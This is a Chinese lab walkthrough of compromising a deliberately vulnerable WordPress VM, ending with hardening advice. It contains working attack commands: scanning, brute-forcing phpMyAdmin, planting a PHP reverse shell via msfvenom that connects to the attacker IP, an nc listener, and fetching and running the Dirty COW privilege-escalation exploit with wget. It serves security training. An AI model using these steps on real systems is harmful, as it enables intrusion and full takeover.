人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
VMware workstation Pro12
Kali 虚拟机 (攻击机IP:10.10.16.133)
Wordpress 虚拟机 (靶机IP:10.10.16.135)
NAT 网络模式
在导入靶机的时候出现版本不兼容的现象。
用记事本打开靶机安装包里面的 .vmx 文件,修改版本好为本地的 VM 的版本号即可。
继续尝试导入靶机的时候又提示错误 " 不支持客户机操作系统 centos6-64 ",按照提示的方法去修改靶机的操作系统。(这里修改为 Linux 系统)
接着便可导入成功,一开始导入虚拟机的时候选择 " 我以移动该虚拟机 " 即可
主机发现可以有以下三种方式获取。
netdiscover -r 10.10.16.133
arp-scan -l
fping -asg 10.10.16.0/24
参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN 扫描
-sV:探测开放
-p-:扫描全部端口
-T4:级别越高速度越快,最高为6级
nmap -A -v -sS -sV -p- 10.10.16.135
通过端口扫描可以得知靶机开放如下端口。
端口号 | 对应的服务 |
---|---|
22 | ssh |
80 | http |
3306 | mysql |
Wappalyzer是一款浏览器插件,通过Wappalyzer可以识别出网站采用了那种web技术。它能够检测出CMS和电子商务系统、留言板、javascript框架,主机面板,分析统计工具和其它的一些web系统。The company behind Wappalyzer还能够收集web程序的一些信息用于统计分析,揭示出各种web系统的使用率即增长情况。
只要打开网站,Wappalyzer 就能自动识别出 Web 技术信息。
从插件读取的信息可以得出该网站是基于 WordPress 5.0.4 搭建的博客系统,其后端支持语言为 PHP 5.3.3,操作系统为 CentOS,数据库类型为 MySQL。
目录扫描工具由很多,如:御剑1.5、DirBuster、Dirsearch、cansina,还有牛人开发的一款 dirmap 。(https://www.freebuf.com/sectool/200890.html)
这里就用 Dirbuster 即可。
whereis dirbuster
- 在 Target URL 输入要扫描的网站 URL,扫描时将 Work Method 设置为 Auto Switch(HEAD and GET)。
- 线程设置为 20-30,(这里选择 20 )太大了容易造成系统死机。
- 选择扫描类型,List based brute force(字典暴力破解)。点击Browse选择字典。
- 在 Select starting options 中选择 URL Fuzz (URL 模糊测试)方式进行扫描。
- 设置 fuzzing 时需要注意,在 URL to fuzz 中输入 /{dir} ,这里的 {dir} 是一个变量,在运行时会被字典中的目录替换掉。如果你扫描的目标是 http://www.xx.com/admin/ ,那么就要在 URL to fuzz 里填写 /admin/{dir}。如果是 /admin/{dir}.php ,则是扫描 admin 目录下的所有 php 文件。
有两个目录 /phpmyadmin 和 /wp-content
弱口令登录,可以一个一个去试,要不然就将收集到的弱口令写在一个文件中使用 Burpsuite 中的 intruder 模块去爆破。
得到账号/密码:root/root
在 外观 / 编辑 / 404模板 处可编辑 404.php 页面的代码。在 404 模板插入反弹 shell 代码即可。
在 Kali 命令行执行以下命令:
其中 LHOST 是 Kali 的 IP,LPORT 是监听的端口,且将代码保存在 Desktop 的 shell.php 文件中。
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.133 LPORT=4444 -o Desktop/shell.php
cat /usr/share/webshells/php/php-reverse-shell.php
使用以上两个木马之一都可,这里使用 Kali 自带的。同时要修改主机号和端口,最后点击更新文件即可。
这里访问错误页面的原因在于可以跳转到网站的 404 页面,从而触发木马,反弹shell。同时监听木马中设置的 4444 端口。
netcat 命令解析
-l 监听
-p 监听本地端口
-n 指定 IP地址
-v 熟悉详细信息
-h 帮助文档
nc -nvlp 4444
http://10.10.16.135/?p=666
使用 uname 可显示电脑以及操作系统的相关信息。
参数说明:
-a或–all 显示全部的信息。
-m或–machine 显示电脑类型。
-n或-nodename 显示在网络上的主机名称。
-r或–release 显示操作系统的发行编号。
-s或–sysname 显示操作系统名称。
-v 显示操作系统的版本。
–help 显示帮助。
–version 显示版本信息。
漏洞编号:CVE-2016-5195
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权。
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
影响范围:Linux 内核>=2.6.22,并且未打补丁
从上面可以得知靶机的 Linux 版本为 2.6.32 ,存在脏牛提权漏洞。
https://github.com/FireFart/dirtycow/blob/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
python -m SimpleHTTPServer 80
cd /tmp
wget http://10.10.16.133/dirty
执行 dirty 文件 同时将管理员的密码修改为 123456
./dirty 123456
得到一个超级管理员的账号/密码: firefart/123456,使用得到的账号/密码在靶机上登录即可得到 root 权限。
- 信息收集:主机发现,端口扫描识别端口服务:找到22,80,3306
- 漏洞挖掘:目录扫描(爆破),找到敏感目录,包括数据库和网站后台
- 漏洞利用:
① 手工登录数据库后台,对数据库进行增,删,改操作
② 利用数据库中获取得到的账号密码在网站后台登录,上传网站木马(msf生 成shell/kali自带的shell)
③执行网站木马获取低权限 shell,判断系统版本寻找提权方法(脏牛提权漏洞)
④ 使用官方放出的 exp 进行漏洞测试,获取管理员账号实现 root 提权
- 关闭不需要的端口,遵循最小化原则
- 使用常见网站 cms 时,修改默认后台路径
- 使用 Phpmyadmin 时,修改默认路径和密码
- 升级操作系统版本,不定时打补丁修复漏洞
- 关注最新漏洞情报,提升安全运维响应能力
猪头
2020.2.14